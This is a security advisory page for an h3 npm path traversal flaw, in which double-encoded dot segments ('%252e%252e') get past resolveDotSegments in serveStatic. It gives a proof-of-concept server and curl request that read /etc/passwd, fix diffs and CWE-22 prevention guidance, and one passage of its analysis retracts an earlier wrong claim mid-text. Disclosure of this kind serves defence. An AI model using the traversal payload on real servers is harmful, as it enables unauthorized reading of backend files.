Skip to content

GHSA-72gr-qfp7-vwhw CVE-2026-86251

h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`

High npm
Severity
8.2 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.43%
Chance of exploitation in the next 30 days. Higher than 37.04% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
1.15.9
Upgrade h3 to this version or later

Description

Summary

The serveStatic utility in h3 applies a redundant decodeURI() call to the request pathname after H3Event has already performed percent-decoding with %25 preservation. This double decoding converts %252e%252e into %2e%2e, which bypasses resolveDotSegments() (since it checks for literal . characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as .. per the URL Standard, enabling path traversal to read arbitrary files from the backend.

Details

The vulnerability is a conflict between two decoding stages:

Stage 1 — H3Event constructor (src/event.ts:65-69):

if (url.pathname.includes("%")) {
  url.pathname = decodeURI(
    url.pathname.includes("%25") ? url.pathname.replace(/%25/g, "%2525") : url.pathname,
  );
}

This correctly preserves %25 sequences by escaping them before decoding. A request for /%252e%252e/etc/passwd produces event.url.pathname = /%2e%2e/etc/passwd — the %25 was preserved so %252e became %2e (not .).

Stage 2 — serveStatic (src/utils/static.ts:86-88):

const originalId = resolveDotSegments(
  decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
);

This applies a second decodeURI(), which decodes %2e → ., producing /../../../etc/passwd. However, the decoding happens inside the resolveDotSegments() call argument — decodeURI runs first, then resolveDotSegments processes the result.

Wait — re-examining the flow more carefully:

  1. Input pathname after event.ts: /%2e%2e/%2e%2e/etc/passwd
  2. decodeURI() in static.ts converts %2e → ., producing: /../../../etc/passwd
  3. resolveDotSegments("/../../../etc/passwd") does resolve .. segments, clamping to /etc/passwd

The actual bypass is subtler. decodeURI() does not decode %2e — it only decodes characters that encodeURI would encode. Since . is never encoded by encodeURI, %2e is not decoded by decodeURI(). So the chain is:

  1. Request: /%252e%252e/%252e%252e/etc/passwd
  2. After event.ts decode: /%2e%2e/%2e%2e/etc/passwd
  3. decodeURI() in static.ts: /%2e%2e/%2e%2e/etc/passwd (unchanged — decodeURI doesn't decode %2e)
  4. resolveDotSegments() fast-returns at line 56 because %2e contains no literal . character:
    if (!path.includes(".")) {
      return path;
    }
    
  5. Asset ID /%2e%2e/%2e%2e/etc/passwd is passed to getMeta() and getContents() callbacks
  6. URL-based backends resolve %2e%2e as .. per RFC 3986 / URL Standard

The root cause is resolveDotSegments() only checks for literal . characters and does not account for percent-encoded dot sequences (%2e). The decodeURI() in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that %2e%2e survives as a traversal payload through both decoding stages and resolveDotSegments.

PoC

1. Create a minimal h3 server with a URL-based static backend:

// server.mjs
import { H3, serveStatic } from "h3";
import { serve } from "srvx";

const app = new H3();

app.get("/**", (event) => {
  return serveStatic(event, {
    getMeta(id) {
      console.log("[getMeta] asset ID:", id);
      // Simulate URL-based backend (CDN/S3)
      const url = new URL(id, "https://cdn.example.com/static/");
      console.log("[getMeta] resolved URL:", url.href);
      return { type: "text/plain" };
    },
    getContents(id) {
      console.log("[getContents] asset ID:", id);
      const url = new URL(id, "https://cdn.example.com/static/");
      console.log("[getContents] resolved URL:", url.href);
      return `Fetched from: ${url.href}`;
    },
  });
});

serve({ fetch: app.fetch, port: 3000 });

2. Send the double-encoded traversal request:

curl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'

3. Observe server logs:

[getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getMeta] resolved URL: https://cdn.example.com/etc/passwd
[getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getContents] resolved URL: https://cdn.example.com/etc/passwd

The %2e%2e sequences in the asset ID are resolved as .. by the URL constructor, causing the backend URL to traverse from /static/ to /etc/passwd.

Impact

  • Arbitrary file read from backend storage: An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers).
  • Sensitive data exposure: Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage.
  • Affected deployments: Applications using serveStatic with callbacks that resolve asset IDs via URL construction (new URL(id, baseUrl) or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends using path.join() are not affected since %2e%2e is not resolved as a traversal sequence by filesystem APIs.

Recommended Fix

The resolveDotSegments() function must account for percent-encoded dot sequences. Additionally, the redundant decodeURI() in serveStatic should be removed since H3Event already handles decoding.

Fix 1 — Remove redundant decodeURI in src/utils/static.ts:86-88:

  const originalId = resolveDotSegments(
-   decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
+   withLeadingSlash(withoutTrailingSlash(event.url.pathname)),
  );

Fix 2 — Harden resolveDotSegments in src/utils/internal/path.ts:55-73 to handle percent-encoded dots:

 export function resolveDotSegments(path: string): string {
-  if (!path.includes(".")) {
+  if (!path.includes(".") && !path.toLowerCase().includes("%2e")) {
     return path;
   }
   // Normalize backslashes to forward slashes to prevent traversal via `\`
-  const segments = path.replaceAll("\\", "/").split("/");
+  const segments = path.replaceAll("\\", "/")
+    .replaceAll(/%2e/gi, ".")
+    .split("/");
   const resolved: string[] = [];

Both fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring resolveDotSegments cannot be bypassed with percent-encoded dots regardless of the caller.

Affected versions

npm

PackageVulnerableFixed in
h3
<= 1.15.8
No fix yet
h3
< 1.15.9
1.15.9

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

h3 npm → 1.15.9

npm
npm install h3@1.15.9
yarn
yarn add h3@1.15.9
pnpm
pnpm add h3@1.15.9

Severity breakdown

CVSS 4.0 8.2

CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
High
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 5.9

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-fp4x-ggrf-wmc6
H3 has an Open Redirect via Protocol-Relative Path in redirectBack() Referer Validation
Medium Also affects h3
GHSA-q5pr-72pq-83v3
H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service
High Also affects h3
GHSA-4hxc-9384-m385
h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)
Medium Also affects h3
GHSA-2j6q-whv2-gh6w
h3: Missing Path Segment Boundary Check in `mount()` Causes Middleware Execution on Unrelated Prefix-Matching Routes
Medium Also affects h3
GHSA-wr4h-v87w-p3r7
h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read
High Also affects h3
GHSA-3vj8-jmxq-cgj5
h3 has a middleware bypass with one gadget
Critical Also affects h3
GHSA-26f5-8h2x-34xh
h3 has an observable timing discrepancy in basic auth utils
Medium Also affects h3
GHSA-22cc-p3c6-wpvm
h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields
Critical Also affects h3

Credits: offset

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor